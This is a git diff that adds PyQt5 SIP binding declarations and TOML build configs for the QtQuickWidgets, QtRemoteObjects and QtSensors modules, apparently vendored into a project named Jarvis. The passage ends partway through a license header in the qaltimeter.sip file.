a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuickWidgets/QtQuickWidgetsmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuickWidgets/QtQuickWidgetsmod.sip new file mode 100644 index 00000000..671d36f9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuickWidgets/QtQuickWidgetsmod.sip @@ -0,0 +1,52 @@ +// QtQuickWidgetsmod.sip generated by MetaSIP +// +// This file is part of the QtQuickWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtQuickWidgets, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip +%Import QtGui/QtGuimod.sip +%Import QtQml/QtQmlmod.sip +%Import QtQuick/QtQuickmod.sip +%Import QtWidgets/QtWidgetsmod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qquickwidget.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuickWidgets/qquickwidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuickWidgets/qquickwidget.sip new file mode 100644 index 00000000..4ec421c7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuickWidgets/qquickwidget.sip @@ -0,0 +1,128 @@ +// qquickwidget.sip generated by MetaSIP +// +// This file is part of the QtQuickWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_3_0 -) + +class QQuickWidget : QWidget +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + sipType = (sipCpp->inherits(sipName_QQuickWidget) ? sipType_QQuickWidget : 0); +%End + +public: + explicit QQuickWidget(QWidget *parent /TransferThis/ = 0); + QQuickWidget(QQmlEngine *engine, QWidget *parent /TransferThis/); + QQuickWidget(const QUrl &source, QWidget *parent /TransferThis/ = 0); + virtual ~QQuickWidget(); + QUrl source() const; + QQmlEngine *engine() const; + QQmlContext *rootContext() const; + QQuickItem *rootObject() const; + + enum ResizeMode + { + SizeViewToRootObject, + SizeRootObjectToView, + }; + + QQuickWidget::ResizeMode resizeMode() const; + void setResizeMode(QQuickWidget::ResizeMode); + + enum Status + { + Null, + Ready, + Loading, + Error, + }; + + QQuickWidget::Status status() const; + QList errors() const; + virtual QSize sizeHint() const; + QSize initialSize() const; + void setFormat(const QSurfaceFormat &format); + QSurfaceFormat format() const; + +public slots: + void setSource(const QUrl &) /ReleaseGIL/; + +signals: + void statusChanged(QQuickWidget::Status); + void sceneGraphError(QQuickWindow::SceneGraphError error, const QString &message); + +protected: + virtual void resizeEvent(QResizeEvent *); + virtual void timerEvent(QTimerEvent *); + virtual void keyPressEvent(QKeyEvent *); + virtual void keyReleaseEvent(QKeyEvent *); + virtual void mousePressEvent(QMouseEvent *); + virtual void mouseReleaseEvent(QMouseEvent *); + virtual void mouseMoveEvent(QMouseEvent *); + virtual void mouseDoubleClickEvent(QMouseEvent *); + virtual void showEvent(QShowEvent *); + virtual void hideEvent(QHideEvent *); + virtual void wheelEvent(QWheelEvent *); + virtual bool event(QEvent *); +%If (Qt_5_3_1 -) + virtual void focusInEvent(QFocusEvent *event); +%End +%If (Qt_5_3_1 -) + virtual void focusOutEvent(QFocusEvent *event); +%End +%If (Qt_5_5_0 -) + virtual void dragEnterEvent(QDragEnterEvent *); +%End +%If (Qt_5_5_0 -) + virtual void dragMoveEvent(QDragMoveEvent *); +%End +%If (Qt_5_5_0 -) + virtual void dragLeaveEvent(QDragLeaveEvent *); +%End +%If (Qt_5_5_0 -) + virtual void dropEvent(QDropEvent *); +%End +%If (Qt_5_8_0 -) + virtual void paintEvent(QPaintEvent *event); +%End + +public: +%If (Qt_5_4_0 -) + QImage grabFramebuffer() const; +%End +%If (Qt_5_4_0 -) + void setClearColor(const QColor &color); +%End +%If (Qt_5_5_0 -) + QQuickWindow *quickWindow() const; +%End + +protected: +%If (Qt_5_11_0 -) + virtual bool focusNextPrevChild(bool next); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/QtRemoteObjects.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/QtRemoteObjects.toml new file mode 100644 index 00000000..fc15fe29 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/QtRemoteObjects.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtRemoteObjects. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/QtRemoteObjectsmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/QtRemoteObjectsmod.sip new file mode 100644 index 00000000..6775f6fb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/QtRemoteObjectsmod.sip @@ -0,0 +1,53 @@ +// QtRemoteObjectsmod.sip generated by MetaSIP +// +// This file is part of the QtRemoteObjects Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtRemoteObjects, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qremoteobjectabstractitemmodelreplica.sip +%Include qremoteobjectdynamicreplica.sip +%Include qremoteobjectnode.sip +%Include qremoteobjectregistry.sip +%Include qremoteobjectreplica.sip +%Include qtremoteobjectglobal.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/qremoteobjectabstractitemmodelreplica.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/qremoteobjectabstractitemmodelreplica.sip new file mode 100644 index 00000000..80fc1499 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/qremoteobjectabstractitemmodelreplica.sip @@ -0,0 +1,54 @@ +// qremoteobjectabstractitemmodelreplica.sip generated by MetaSIP +// +// This file is part of the QtRemoteObjects Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_12_0 -) + +class QAbstractItemModelReplica : QAbstractItemModel /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QAbstractItemModelReplica(); + QItemSelectionModel *selectionModel() const; + virtual QVariant data(const QModelIndex &index, int role = Qt::ItemDataRole::DisplayRole) const; + virtual bool setData(const QModelIndex &index, const QVariant &value, int role = Qt::ItemDataRole::EditRole); + virtual QModelIndex parent(const QModelIndex &index) const; + virtual QModelIndex index(int row, int column, const QModelIndex &parent = QModelIndex()) const; + virtual bool hasChildren(const QModelIndex &parent = QModelIndex()) const; + virtual int rowCount(const QModelIndex &parent = QModelIndex()) const; + virtual int columnCount(const QModelIndex &parent = QModelIndex()) const; + virtual QVariant headerData(int section, Qt::Orientation orientation, int role) const; + virtual Qt::ItemFlags flags(const QModelIndex &index) const; + QVector availableRoles() const; + virtual QHash roleNames() const; + bool isInitialized() const; + bool hasData(const QModelIndex &index, int role) const; + size_t rootCacheSize() const; + void setRootCacheSize(size_t rootCacheSize); + +signals: + void initialized(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/qremoteobjectdynamicreplica.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/qremoteobjectdynamicreplica.sip new file mode 100644 index 00000000..683316b6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/qremoteobjectdynamicreplica.sip @@ -0,0 +1,38 @@ +// qremoteobjectdynamicreplica.sip generated by MetaSIP +// +// This file is part of the QtRemoteObjects Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_12_0 -) + +class QRemoteObjectDynamicReplica : QRemoteObjectReplica +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QRemoteObjectDynamicReplica(); + +private: + QRemoteObjectDynamicReplica(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/qremoteobjectnode.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/qremoteobjectnode.sip new file mode 100644 index 00000000..9e45159e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/qremoteobjectnode.sip @@ -0,0 +1,193 @@ +// qremoteobjectnode.sip generated by MetaSIP +// +// This file is part of the QtRemoteObjects Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_12_0 -) + +class QRemoteObjectAbstractPersistedStore : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QRemoteObjectAbstractPersistedStore(QObject *parent /TransferThis/ = 0); + virtual ~QRemoteObjectAbstractPersistedStore(); + virtual void saveProperties(const QString &repName, const QByteArray &repSig, const QVariantList &values) = 0; + virtual QVariantList restoreProperties(const QString &repName, const QByteArray &repSig) = 0; +}; + +%End +%If (Qt_5_12_0 -) + +class QRemoteObjectNode : QObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QAbstractItemModelReplica, &sipType_QAbstractItemModelReplica, -1, 1}, + {sipName_QRemoteObjectAbstractPersistedStore, &sipType_QRemoteObjectAbstractPersistedStore, -1, 2}, + {sipName_QRemoteObjectReplica, &sipType_QRemoteObjectReplica, 4, 3}, + {sipName_QRemoteObjectNode, &sipType_QRemoteObjectNode, 6, -1}, + {sipName_QRemoteObjectDynamicReplica, &sipType_QRemoteObjectDynamicReplica, -1, 5}, + {sipName_QRemoteObjectRegistry, &sipType_QRemoteObjectRegistry, -1, -1}, + {sipName_QRemoteObjectHostBase, &sipType_QRemoteObjectHostBase, 7, -1}, + {sipName_QRemoteObjectHost, &sipType_QRemoteObjectHost, -1, 8}, + {sipName_QRemoteObjectRegistryHost, &sipType_QRemoteObjectRegistryHost, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + enum ErrorCode + { + NoError, + RegistryNotAcquired, + RegistryAlreadyHosted, + NodeIsNoServer, + ServerAlreadyCreated, + UnintendedRegistryHosting, + OperationNotValidOnClientNode, + SourceNotRegistered, + MissingObjectName, + HostUrlInvalid, + ProtocolMismatch, + ListenFailed, + }; + + QRemoteObjectNode(QObject *parent /TransferThis/ = 0); + QRemoteObjectNode(const QUrl ®istryAddress, QObject *parent /TransferThis/ = 0); + virtual ~QRemoteObjectNode(); + bool connectToNode(const QUrl &address); + void addClientSideConnection(QIODevice *ioDevice); + virtual void setName(const QString &name); + QStringList instances(const QString &typeName) const; + QRemoteObjectDynamicReplica *acquireDynamic(const QString &name) /Factory/; + QAbstractItemModelReplica *acquireModel(const QString &name, QtRemoteObjects::InitialAction action = QtRemoteObjects::FetchRootSize, const QVector &rolesHint = {}) /Factory/; + QUrl registryUrl() const; + virtual bool setRegistryUrl(const QUrl ®istryAddress); + bool waitForRegistry(int timeout = 30000) /ReleaseGIL/; + const QRemoteObjectRegistry *registry() const; + QRemoteObjectAbstractPersistedStore *persistedStore() const; + void setPersistedStore(QRemoteObjectAbstractPersistedStore *persistedStore); + QRemoteObjectNode::ErrorCode lastError() const; + int heartbeatInterval() const; + void setHeartbeatInterval(int interval); + +signals: + void remoteObjectAdded(const QRemoteObjectSourceLocation &); + void remoteObjectRemoved(const QRemoteObjectSourceLocation &); + void error(QRemoteObjectNode::ErrorCode errorCode); + void heartbeatIntervalChanged(int heartbeatInterval); + +protected: + virtual void timerEvent(QTimerEvent *); +}; + +%End +%If (Qt_5_12_0 -) + +class QRemoteObjectHostBase : QRemoteObjectNode /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + enum AllowedSchemas + { + BuiltInSchemasOnly, + AllowExternalRegistration, + }; + + virtual ~QRemoteObjectHostBase(); + virtual void setName(const QString &name); + bool enableRemoting(QObject *object, const QString &name = QString()); + bool enableRemoting(QAbstractItemModel *model, const QString &name, const QVector roles, QItemSelectionModel *selectionModel = 0); + bool disableRemoting(QObject *remoteObject); + void addHostSideConnection(QIODevice *ioDevice); + bool proxy(const QUrl ®istryUrl, const QUrl &hostUrl /TypeHintValue="QUrl()"/ = {}); + bool reverseProxy(); +}; + +%End +%If (Qt_5_12_0 -) + +class QRemoteObjectHost : QRemoteObjectHostBase +{ +%TypeHeaderCode +#include +%End + +public: + QRemoteObjectHost(QObject *parent /TransferThis/ = 0); + QRemoteObjectHost(const QUrl &address, const QUrl ®istryAddress = QUrl(), QRemoteObjectHostBase::AllowedSchemas allowedSchemas = QRemoteObjectHostBase::BuiltInSchemasOnly, QObject *parent /TransferThis/ = 0); + QRemoteObjectHost(const QUrl &address, QObject *parent /TransferThis/); + virtual ~QRemoteObjectHost(); + virtual QUrl hostUrl() const; + virtual bool setHostUrl(const QUrl &hostAddress, QRemoteObjectHostBase::AllowedSchemas allowedSchemas = QRemoteObjectHostBase::BuiltInSchemasOnly); + +signals: +%If (Qt_5_15_0 -) + void hostUrlChanged(); +%End +}; + +%End +%If (Qt_5_12_0 -) + +class QRemoteObjectRegistryHost : QRemoteObjectHostBase +{ +%TypeHeaderCode +#include +%End + +public: + QRemoteObjectRegistryHost(const QUrl ®istryAddress = QUrl(), QObject *parent /TransferThis/ = 0); + virtual ~QRemoteObjectRegistryHost(); + virtual bool setRegistryUrl(const QUrl ®istryUrl); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/qremoteobjectregistry.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/qremoteobjectregistry.sip new file mode 100644 index 00000000..79809c31 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/qremoteobjectregistry.sip @@ -0,0 +1,43 @@ +// qremoteobjectregistry.sip generated by MetaSIP +// +// This file is part of the QtRemoteObjects Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_12_0 -) + +class QRemoteObjectRegistry : QRemoteObjectReplica +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QRemoteObjectRegistry(); + QRemoteObjectSourceLocations sourceLocations() const; + +signals: + void remoteObjectAdded(const QRemoteObjectSourceLocation &entry); + void remoteObjectRemoved(const QRemoteObjectSourceLocation &entry); + +private: + explicit QRemoteObjectRegistry(QObject *parent = 0); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/qremoteobjectreplica.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/qremoteobjectreplica.sip new file mode 100644 index 00000000..f3a30fc1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/qremoteobjectreplica.sip @@ -0,0 +1,57 @@ +// qremoteobjectreplica.sip generated by MetaSIP +// +// This file is part of the QtRemoteObjects Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_12_0 -) + +class QRemoteObjectReplica : QObject /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + enum State + { + Uninitialized, + Default, + Valid, + Suspect, + SignatureMismatch, + }; + + virtual ~QRemoteObjectReplica(); + bool isReplicaValid() const; + bool waitForSource(int timeout = 30000) /ReleaseGIL/; + bool isInitialized() const; + QRemoteObjectReplica::State state() const; + QRemoteObjectNode *node() const; + virtual void setNode(QRemoteObjectNode *node); + +signals: + void initialized(); + void stateChanged(QRemoteObjectReplica::State state, QRemoteObjectReplica::State oldState); +%If (Qt_5_15_0 -) + void notified(); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/qtremoteobjectglobal.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/qtremoteobjectglobal.sip new file mode 100644 index 00000000..9d206c4c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtRemoteObjects/qtremoteobjectglobal.sip @@ -0,0 +1,67 @@ +// qtremoteobjectglobal.sip generated by MetaSIP +// +// This file is part of the QtRemoteObjects Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_12_0 -) + +struct QRemoteObjectSourceLocationInfo +{ +%TypeHeaderCode +#include +%End + + QRemoteObjectSourceLocationInfo(); + QRemoteObjectSourceLocationInfo(const QString &typeName_, const QUrl &hostUrl_); + bool operator==(const QRemoteObjectSourceLocationInfo &other) const; + bool operator!=(const QRemoteObjectSourceLocationInfo &other) const; + QString typeName; + QUrl hostUrl; +}; + +%End +%If (Qt_5_12_0 -) +QDataStream &operator<<(QDataStream &stream, const QRemoteObjectSourceLocationInfo &info /Constrained/) /ReleaseGIL/; +%End +%If (Qt_5_12_0 -) +QDataStream &operator>>(QDataStream &stream, QRemoteObjectSourceLocationInfo &info /Constrained/) /ReleaseGIL/; +%End +%If (Qt_5_12_0 -) +typedef QPair QRemoteObjectSourceLocation; +%End +%If (Qt_5_12_0 -) +typedef QHash QRemoteObjectSourceLocations; +%End +%If (Qt_5_12_0 -) + +namespace QtRemoteObjects +{ +%TypeHeaderCode +#include +%End + + enum InitialAction + { + FetchRootSize, + PrefetchData, + }; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/QtSensors.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/QtSensors.toml new file mode 100644 index 00000000..d297ceb3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/QtSensors.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtSensors. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/QtSensorsmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/QtSensorsmod.sip new file mode 100644 index 00000000..acee2759 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/QtSensorsmod.sip @@ -0,0 +1,67 @@ +// QtSensorsmod.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtSensors, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qaccelerometer.sip +%Include qaltimeter.sip +%Include qambientlightsensor.sip +%Include qambienttemperaturesensor.sip +%Include qcompass.sip +%Include qdistancesensor.sip +%Include qgyroscope.sip +%Include qholstersensor.sip +%Include qhumiditysensor.sip +%Include qirproximitysensor.sip +%Include qlidsensor.sip +%Include qlightsensor.sip +%Include qmagnetometer.sip +%Include qorientationsensor.sip +%Include qpressuresensor.sip +%Include qproximitysensor.sip +%Include qsensor.sip +%Include qtapsensor.sip +%Include qtiltsensor.sip +%Include qrotationsensor.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qaccelerometer.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qaccelerometer.sip new file mode 100644 index 00000000..f4e20623 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qaccelerometer.sip @@ -0,0 +1,81 @@ +// qaccelerometer.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QAccelerometerReading : QSensorReading /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + qreal x() const; + void setX(qreal x); + qreal y() const; + void setY(qreal y); + qreal z() const; + void setZ(qreal z); +}; + +%End +%If (Qt_5_1_0 -) + +class QAccelerometerFilter : QSensorFilter +{ +%TypeHeaderCode +#include +%End + +public: + virtual bool filter(QAccelerometerReading *reading) = 0; +}; + +%End +%If (Qt_5_1_0 -) + +class QAccelerometer : QSensor +{ +%TypeHeaderCode +#include +%End + +public: + explicit QAccelerometer(QObject *parent /TransferThis/ = 0); + virtual ~QAccelerometer(); + + enum AccelerationMode + { + Combined, + Gravity, + User, + }; + + QAccelerometer::AccelerationMode accelerationMode() const; + void setAccelerationMode(QAccelerometer::AccelerationMode accelerationMode); + QAccelerometerReading *reading() const; + +signals: + void accelerationModeChanged(QAccelerometer::AccelerationMode accelerationMode /ScopesStripped=1/); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qaltimeter.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qaltimeter.sip new file mode 100644 index 00000000..7f63af4d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtSensors/qaltimeter.sip @@ -0,0 +1,67 @@ +// qaltimeter.sip generated by MetaSIP +// +// This file is part of the QtSensors Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, 